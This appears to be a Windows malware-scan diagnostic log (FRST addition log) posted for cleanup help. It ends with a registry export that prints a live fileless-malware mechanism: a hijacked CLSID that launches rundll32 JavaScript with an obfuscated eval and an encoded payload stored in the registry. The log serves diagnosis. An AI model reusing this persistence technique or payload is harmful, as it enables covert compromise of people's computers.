Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.6526 - Realtek Semiconductor Corp.)
Samsung Easy Printer Manager (HKLM-x32\...\Samsung Easy Printer Manager) (Version: 1.02.06.07 - Samsung Electronics Co., Ltd.)
Samsung ML-2160 Series (HKLM-x32\...\Samsung ML-2160 Series) (Version: 1.08 (8/24/2012) - Samsung Electronics Co., Ltd.)
Samsung Printer Live Update (HKLM-x32\...\Samsung Printer Live Update) (Version: 1.01.00.04 - Samsung Electronics Co., Ltd.)
Scan (x32 Version: 140.0.167.000 - Hewlett-Packard) Hidden
Shop for HP Supplies (HKLM\...\Shop for HP Supplies) (Version: 14.0 - HP)
SmartWebPrinting (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
SolutionCenter (x32 Version: 140.0.214.000 - Hewlett-Packard) Hidden
Status (x32 Version: 140.0.256.000 - Hewlett-Packard) Hidden
TeamViewer 9 (HKLM-x32\...\TeamViewer 9) (Version: 9.0.29947 - TeamViewer)
Toolbox (x32 Version: 140.0.428.000 - Hewlett-Packard) Hidden
TrayApp (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)
Update for Microsoft .NET Framework 4 Client Profile (KB2468871) (HKLM-x32\...\{F5B09CFD-F0B2-36AF-8DF4-1DF6B63FC7B4}.KB2468871) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Client Profile (KB2533523) (HKLM-x32\...\{F5B09CFD-F0B2-36AF-8DF4-1DF6B63FC7B4}.KB2533523) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Client Profile (KB2600217) (HKLM-x32\...\{F5B09CFD-F0B2-36AF-8DF4-1DF6B63FC7B4}.KB2600217) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Extended (KB2468871) (HKLM-x32\...\{8E34682C-8118-31F1-BC4C-98CD9675E1C2}.KB2468871) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Extended (KB2533523) (HKLM-x32\...\{8E34682C-8118-31F1-BC4C-98CD9675E1C2}.KB2533523) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Extended (KB2600217) (HKLM-x32\...\{8E34682C-8118-31F1-BC4C-98CD9675E1C2}.KB2600217) (Version: 1 - Microsoft Corporation)
Update for Microsoft Office 2007 suites (KB2596620) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{A024FC7B-77DE-45DE-A058-1C049A17BFB3}) (Version:  - Microsoft)
Update for Microsoft Office 2007 suites (KB2596660) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{620E77C0-CDFE-4C14-AAEB-830ABB65864C}) (Version:  - Microsoft)
Update for Microsoft Office 2007 suites (KB2596802) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{525A4A44-8940-40AD-ABA0-14501199D2F0}) (Version:  - Microsoft)
Update for Microsoft Office 2007 suites (KB2596848) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{8153EC80-C988-4336-8DAF-6D99C0D26E0C}) (Version:  - Microsoft)
Update for Microsoft Office 2007 suites (KB2767916) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{E9A82945-BA29-4EE8-8F2A-2F49545E9CF2}) (Version:  - Microsoft)
Update for Microsoft Office Outlook 2007 (KB2687404) 32-Bit Edition (HKLM-x32\...\{90120000-001A-0409-0000-0000000FF1CE}_ENTERPRISE_{ED38F8A3-4F61-494E-8BCA-E3AC7760C924}) (Version:  - Microsoft)
Update for Microsoft Office Outlook 2007 Junk Email Filter (KB2768021) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{2FAC8CEF-F191-4A30-A107-F33D92D52AEE}) (Version:  - Microsoft)
WebReg (x32 Version: 140.0.213.017 - Hewlett-Packard) Hidden
Win2PDF 7 (HKLM\...\Win2PDF_is1) (Version: 7.5.13 - Dane Prairie Systems, LLC.)
Windows Live ID Sign-in Assistant (HKLM\...\{9B48B0AC-C813-4174-9042-476A887592C7}) (Version: 6.500.3165.0 - Microsoft Corporation)
 
==================== Restore Points  =========================
 
08-07-2014 13:28:43 Checkpoint by HitmanPro
08-07-2014 13:31:43 Checkpoint by HitmanPro
08-07-2014 15:23:55 Restore Operation
08-07-2014 15:46:19 Removed SpyHunter
08-07-2014 15:53:53 Restore Operation
08-07-2014 16:17:38 Norton_Power_Eraser_20140708121733086
08-07-2014 16:25:06 Restore Operation
 
==================== Hosts content: ==========================
 
2009-07-13 22:34 - 2014-07-09 21:20 - 00000027 ____A C:\Windows\system32\Drivers\etc\hosts
127.0.0.1       localhost
 
==================== Scheduled Tasks (whitelisted) =============
 
Task: {0635D1E8-DB93-48D0-9757-5F3250714A15} - System32\Tasks\Microsoft_MKC_Logon_Task_ipoint.exe => c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe [2013-01-29] (Microsoft Corporation)
Task: {102DC434-0DB9-4D71-A3B5-E6FDB68E398B} - System32\Tasks\Microsoft_MKC_Logon_Task_itype.exe => c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe [2013-01-29] (Microsoft Corporation)
Task: {12DA9622-A807-41D4-83FC-F1E8E13ECB90} - System32\Tasks\Apple\AppleSoftwareUpdate => C:\Program Files (x86)\Apple Software Update\SoftwareUpdate.exe [2011-06-01] (Apple Inc.)
Task: {14D006E8-DDE4-4667-88CC-A1FAADEE1FA8} - System32\Tasks\{8DC07200-A4A2-4054-8688-D500FC4CE4A8} => C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
Task: {2478AFAC-D054-49C1-BBBA-123D94DE79B7} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2013-04-12] (Google Inc.)
Task: {2B0DEF35-D8EA-4B24-B2CB-8BB8FDEBC4E7} - System32\Tasks\CCleanerSkipUAC => C:\Program Files\CCleaner\CCleaner.exe [2014-06-24] (Piriform Ltd)
Task: {524066CC-057C-422C-AEFF-E5AC4B70541F} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2013-04-12] (Google Inc.)
Task: {5F9D76DD-7E86-4771-9721-7099C930C4ED} - System32\Tasks\{75D03F6A-3B76-4EDC-9651-C33318F588F0} => C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
Task: {6DE5F355-F4AC-44B1-A89C-5CF3FE813E16} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2014-05-13] (Adobe Systems Incorporated)
Task: {BE333838-C61F-4858-9EFB-78101E13A0B2} - System32\Tasks\Microsoft_Hardware_Launch_mousekeyboardcenter_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\mousekeyboardcenter.exe [2013-01-29] (Microsoft)
Task: {DB49D25D-A7CE-40F4-AE44-5AF49C79E19A} - System32\Tasks\{9B61C97F-DABD-4F89-BB38-086A55D98E10} => C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
Task: {DE35D852-E9E8-4DF1-99AD-8F02A2095A73} - System32\Tasks\{ABD907FF-80B7-4405-97AC-528C8D8A12B3} => C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
Task: {E8E7FF48-745A-4B73-8D08-70FF4F55CCD5} - System32\Tasks\Microsoft_Hardware_Launch_itype_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe [2013-01-29] (Microsoft Corporation)
Task: {F3425394-A20F-41DC-BEC9-0F5EA311EA29} - System32\Tasks\Microsoft_Hardware_Launch_ipoint_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe [2013-01-29] (Microsoft Corporation)
Task: {F5B1D493-954F-4F26-9B19-E655FF5E73A4} - System32\Tasks\{0F91A0D9-06EF-4DEA-8CDC-169F8A8FEB74} => Chrome.exe 
Task: C:\Windows\Tasks\Adobe Flash Player Updater.job => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
Task: C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
 
==================== Loaded Modules (whitelisted) =============
 
2011-04-25 14:24 - 2011-04-25 14:24 - 00034304 _____ () C:\Windows\System32\ssj1mlm.dll
2013-04-12 13:23 - 2013-02-20 12:25 - 00077976 _____ () C:\Windows\System32\win2pdfm.dll
2013-11-18 06:33 - 2013-11-18 06:23 - 00265080 _____ () C:\Program Files\Bitdefender\Endpoint\txmlutil.dll
2012-10-05 13:50 - 2012-10-05 13:50 - 01212928 _____ () C:\Windows\system32\spool\DRIVERS\x64\3\ssj1mdu.dll
2011-11-14 20:17 - 2011-11-14 20:17 - 00153680 _____ () C:\Program Files\Bitdefender\Endpoint\bdfwcore.dll
2013-11-26 14:49 - 2014-02-05 16:10 - 00266592 _____ () C:\Program Files\Common Files\Bitdefender\Endpoint Agent\zlib.dll
2010-01-02 10:42 - 2010-01-02 10:42 - 00098304 _____ () C:\Program Files (x86)\FileZilla FTP Client\fzshellext_64.dll
2014-05-09 19:08 - 2014-07-15 13:03 - 01803776 _____ () C:\Users\Dennis\Downloads\MiniRegTool64\MiniRegTool64\MiniRegTool64.exe
2014-07-10 00:57 - 2014-07-10 00:57 - 00053248 _____ () C:\ProgramData\e.dll
2013-01-28 16:08 - 2013-01-28 16:08 - 00087952 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\zlib1.dll
2013-01-28 16:08 - 2013-01-28 16:08 - 01242512 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\libxml2.dll
2012-11-29 17:59 - 2012-11-29 17:59 - 00093696 _____ () C:\Program Files (x86)\FileZilla FTP Client\fzshellext.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 00716616 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\libglesv2.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 00126280 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\libegl.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 04217672 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\pdf.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 00414536 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\ppGoogleNaClPluginChrome.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 01732424 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\ffmpegsumo.dll
 
==================== Alternate Data Streams (whitelisted) =========
 
AlternateDataStreams: C:\ProgramData\TEMP:0FF263E8
 
==================== Safe Mode (whitelisted) ===================
 
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\19743755.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\21787411.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MSIServer => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\19743755.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\21787411.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MSIServer => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SMR322 => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SMR410 => ""="Service"
 
==================== EXE Association (whitelisted) =============
 
 
==================== MSCONFIG/TASK MANAGER disabled items =========
 
MSCONFIG\Services: AdobeARMservice => 2
MSCONFIG\Services: AdobeFlashPlayerUpdateSvc => 3
MSCONFIG\Services: AMD External Events Utility => 2
MSCONFIG\Services: Apple Mobile Device => 2
MSCONFIG\Services: Bonjour Service => 2
MSCONFIG\Services: DragonSvc => 2
MSCONFIG\Services: gupdate => 2
MSCONFIG\Services: gupdatem => 3
MSCONFIG\Services: iPod Service => 3
MSCONFIG\Services: MBAMScheduler => 2
MSCONFIG\Services: MBAMService => 2
MSCONFIG\Services: SpyHunter 4 Service => 2
MSCONFIG\Services: TeamViewer9 => 2
MSCONFIG\startupfolder: C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^HP Digital Imaging Monitor.lnk => C:\Windows\pss\HP Digital Imaging Monitor.lnk.CommonStartup
MSCONFIG\startupreg: Adobe Reader Speed Launcher => "C:\Program Files (x86)\Adobe\Reader 8.0\Reader\Reader_sl.exe"
MSCONFIG\startupreg: ATICustomerCare => "C:\Program Files (x86)\ATI\ATICustomerCare\ATICustomerCare.exe"
MSCONFIG\startupreg: DAEMON Tools Lite => "C:\Program Files (x86)\DAEMON Tools Lite\DTLite.exe" -autorun
MSCONFIG\startupreg: DisplaySwitch => "C:\Users\Dennis\AppData\Roaming\Microsoft\Windows\Templates\windrv.exe"
MSCONFIG\startupreg: GrooveMonitor => "C:\Program Files (x86)\Microsoft Office\Office12\GrooveMonitor.exe"
MSCONFIG\startupreg: HP Software Update => C:\Program Files (x86)\HP\HP Software Update\HPWuSchd2.exe
MSCONFIG\startupreg: IntelliPoint => "c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe"
MSCONFIG\startupreg: IntelliType Pro => "c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe"
MSCONFIG\startupreg: ISUSPM => C:\ProgramData\FLEXnet\Connect\11\ISUSPM.exe -scheduler
MSCONFIG\startupreg: RtHDVCpl => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe -s
MSCONFIG\startupreg: StartCCC => "C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\CLIStart.exe" MSRun
 
==================== Faulty Device Manager Devices =============
 
Name: Officejet Pro L7600
Description: Officejet Pro L7600
Class Guid: {4d36e971-e325-11ce-bfc1-08002be10318}
Manufacturer: HP
Service: 
Problem: : This device is disabled. (Code 22)
Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.
 
 
==================== Event log errors: =========================
 
Application errors:
==================
Error: (07/15/2014 01:10:49 PM) (Source: Application Hang) (EventID: 1002) (User: )
Description: The program FRST64.exe version 15.7.2014.0 stopped interacting with Windows and was closed. To see if more information about the problem is available, check the problem history in the Action Center control panel.
 
Process ID: 1704
 
Start Time: 01cfa04fa307d820
 
Termination Time: 40
 
Application Path: C:\Users\Dennis\Downloads\FRST64.exe
 
Report Id:
 
Error: (07/15/2014 01:10:05 PM) (Source: Application Hang) (EventID: 1002) (User: )
Description: The program FRST64.exe version 15.7.2014.0 stopped interacting with Windows and was closed. To see if more information about the problem is available, check the problem history in the Action Center control panel.
 
Process ID: 16d0
 
Start Time: 01cfa04f4ba13661
 
Termination Time: 76
 
Application Path: C:\Users\Dennis\Downloads\FRST64.exe
 
Report Id:
 
Error: (07/15/2014 07:44:26 AM) (Source: SideBySide) (EventID: 80) (User: )
Description: Activation context generation failed for "C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest1".Error in manifest or policy file "C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest2" on line C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest3.
A component version required by the application conflicts with another component version already active.
Conflicting components are:.
Component 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest.
Component 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2.manifest.
 
Error: (07/14/2014 09:46:11 AM) (Source: SideBySide) (EventID: 80) (User: )
Description: Activation context generation failed for "C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest1".Error in manifest or policy file "C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest2" on line C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest3.
A component version required by the application conflicts with another component version already active.
Conflicting components are:.
Component 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac.manifest.
Component 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2.manifest.
 
Error: (07/14/2014 07:11:08 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: dllhost.exe, version: 6.1.7600.16385, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0x7a2c82a0
Faulting process id: 0x261c
Faulting application start time: 0xdllhost.exe0
Faulting application path: dllhost.exe1
Faulting module path: dllhost.exe2
Report Id: dllhost.exe3
 
Error: (07/14/2014 06:54:44 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: dllhost.exe, version: 6.1.7600.16385, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0xa064bd8e
Faulting process id: 0x2034
Faulting application start time: 0xdllhost.exe0
Faulting application path: dllhost.exe1
Faulting module path: dllhost.exe2
Report Id: dllhost.exe3
 
Error: (07/14/2014 06:53:43 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: dllhost.exe, version: 6.1.7600.16385, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0xcd2c82a0
Faulting process id: 0x2340
Faulting application start time: 0xdllhost.exe0
Faulting application path: dllhost.exe1
Faulting module path: dllhost.exe2
Report Id: dllhost.exe3
 
Error: (07/14/2014 06:49:37 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: dllhost.exe, version: 6.1.7600.16385, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0xf12c82a0
Faulting process id: 0x1bc8
Faulting application start time: 0xdllhost.exe0
Faulting application path: dllhost.exe1
Faulting module path: dllhost.exe2
Report Id: dllhost.exe3
 
Error: (07/14/2014 06:48:35 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: dllhost.exe, version: 6.1.7600.16385, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0x2964bd8e
Faulting process id: 0x2b20
Faulting application start time: 0xdllhost.exe0
Faulting application path: dllhost.exe1
Faulting module path: dllhost.exe2
Report Id: dllhost.exe3
 
Error: (07/14/2014 06:47:33 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: dllhost.exe, version: 6.1.7600.16385, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0xc564bd8e
Faulting process id: 0x3248
Faulting application start time: 0xdllhost.exe0
Faulting application path: dllhost.exe1
Faulting module path: dllhost.exe2
Report Id: dllhost.exe3
 
 
System errors:
=============
Error: (07/15/2014 05:56:16 AM) (Source: DCOM) (EventID: 10000) (User: )
Description: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}5{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/15/2014 05:40:42 AM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/14/2014 07:33:35 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/14/2014 06:29:45 AM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/13/2014 10:47:42 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/13/2014 08:55:31 AM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/13/2014 08:38:45 AM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/11/2014 02:12:16 PM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/10/2014 02:05:58 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)
Description: The following fatal alert was generated: 40. The internal error state is 107.
 
Error: (07/10/2014 02:05:58 PM) (Source: Schannel) (EventID: 4106) (User: NT AUTHORITY)
Description: An SSL 3.0 connection request was received from a remote client application, but none of the cipher suites supported by the client application are supported by the server. The SSL connection request has failed.
 
 
Microsoft Office Sessions:
=========================
 
CodeIntegrity Errors:
===================================
  Date: 2014-07-09 21:07:48.764
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 21:07:48.728
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 21:07:48.691
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 21:07:48.653
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 09:41:56.251
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 09:41:56.214
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 09:41:56.176
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 09:41:56.138
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-02-03 23:30:41.428
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-02-03 23:30:41.397
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
 
==================== Memory info =========================== 
 
Percentage of memory in use: 33%
Total physical RAM: 16127.3 MB
Available physical RAM: 10708.7 MB
Total Pagefile: 32252.79 MB
Available Pagefile: 26538.77 MB
Total Virtual: 8192 MB
Available Virtual: 8191.82 MB
 
==================== Drives ================================
 
Drive c: () (Fixed) (Total:1862.92 GB) (Free:1666.94 GB) NTFS
Drive e: (OldDrive) (Fixed) (Total:228.33 GB) (Free:100.87 GB) NTFS
 
==================== MBR & Partition Table ==================
 
========================================================
Disk: 0 (Size: 233 GB) (Disk ID: 4B36BDEA)
Partition 1: (Not Active) - (Size=5 GB) - (Type=42)
Partition 2: (Active) - (Size=228 GB) - (Type=42)
Partition 3: (Not Active) - (Size=1528 KB) - (Type=42)
 
========================================================
Disk: 1 (MBR Code: Windows 7 or 8) (Size: 1863 GB) (Disk ID: FBF990AA)
Partition 1: (Active) - (Size=100 MB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=-198731366400) - (Type=07 NTFS)
 
==================== End Of Log ============================
 
 
Export from MiniRegTool
 
Windows Registry Editor Version 5.00
 
[HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}]
@="Thumbnail Cache Class Factory for Out of Proc Server"
"AppID"="{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 
[HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32]
@="C:\\Windows\\system32\\thumbcache.dll"
"ThreadingModel"="Apartment"
 
[HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32]
@="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";eval(\"epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDV]]tpguxbsf]]dmbttft]]dmtje]]|bc9:13c5.1:db.5cc7.c89e.b9g6:18:b9e6~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*\".replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))"
"a"="#@~^XHoAAA==n{F+2im'xh,)mDk-+or8%mYvEUmDb2ORUtVsJbIStrVc+e'*+* Y.zPhxlc3XwC NAx\\bDKU:xO?DDrUT/`rYhbxNb.YJ*ia'A_Ew'/z/SGh+cwwSkx[GS/2WSnM/4V^--7FcT-'wGhDd4VVcn6Ji6xU+SPzmOk-nor8L^YvJj^MkwOr o sbs?zkY:r(L^Yr#I0!x^ObWx,^N `#PO.XPDY;DU~mR]+T]+mNcE_|S\\w'/G0DAmDn'-skmMWkG0D-wxY~WMl:AWM3PknOEa-'x[www7  !cX!F {w'/wEbp8^lD^4`n* M+Y!D ~!p8N0!x^ObWx,[`!# XxU+SPzmOk-nor8L^YvJ\\dX:V+ U+.\\.oHJ_K:nR+RZE#p6 Wa+UcrM2:E~!~0msd+*iXRd+U[v#IE6U'mR3aalx[3 \\rDKUs+UD?DDk okcJuYn:a]wwr#_! /!4/D.rxT`!RsldO&x[+X60vJ&E*_FbI!0UY{;6xQrRD:wri!WY{0 ZM+COK+XOsbV+v;WxD~DD;+SR8#Ik6cE6Yb`!0Y MkO+vacDnkwKx/AK[X*i;0DR/sK/+vbi!0'6 /DlD+P+aOwks+v;0 ~O.!+#I;6Yx0c!YobV`E6xDbi!0d'!0O }w+ )/:+6DjODls`bi;WkR]+m[`y#I;6R.rD+cE6dcInmNvE0DRUryO+#*i;WkRZ^G/`#p;WR;VK/n`bI6R9+^nYsrs`EWUD#Ilc]!xcr-rJ_!0 QJ'J~z$ErnDPz GD/Ym.OJB!BFbiW G+s+DnsbVnc!0xbI)8Atbs`Z6RwkV2Xr/D/cw*#`r6`m9U`*''Zb`NvJr#I8[crJbi)clc2U-bDWUhxO`rKMW^/kJ#*`rCJ*'Ek6~c]K+XORAxmK[rxTT=))?/(&R!+DjYMkULv$ZGU7+.YYl=s.K:~l/vWjYMkUovB[ux*+ytF(:1ZC ,!qVNV+q$4mhsD(Z44i!wX5 q^N!.HFwA-1 ^!lq,!KKz/PwEt!w!42B*h?I`^U.^|j!Lq]lm!.(p.ZoBo~tmhoD}pI^^ HdqF~tmssDt(\"V^k4p8fgwNVs\\(L!XF#!T8IXm!#9q/IUt(\"F^hlj+p$^n#Yq8yVVo?0G9wIl^MjZ[^/t!jXnjOA1CAA8+F4lq*[r%2GNp9Htl!]!OY5 s!SVI^tsV;\\j\"*4ssDCgA^&gV8 x/+ULW::.2Ji,bls.%N/$:+p1ZtZEihj:4!#NN!V78b*$1&gV4q9knjlt8`W(sxV}saVI&I^t3I^4V.U5p]^qr3aJsDKnpg!} T!jh.s8V.%9M^\\4b*w8^!J3wy^+jY5sa*5x.a8!I^m0s%5+#.mq!+6VxF8r0EI!#sl *^]_V;I8w5ZF7tCj/t?Tkj l1}qq\\1xVg8+I84VjrS/]s5 6.t?0E]!j:l X^.uVStUor9Z&/q01ke(gyJs~FehXw5HaK\\skt pkpq*\"liHk5p1.J2wF[!Of4!o.mzqk 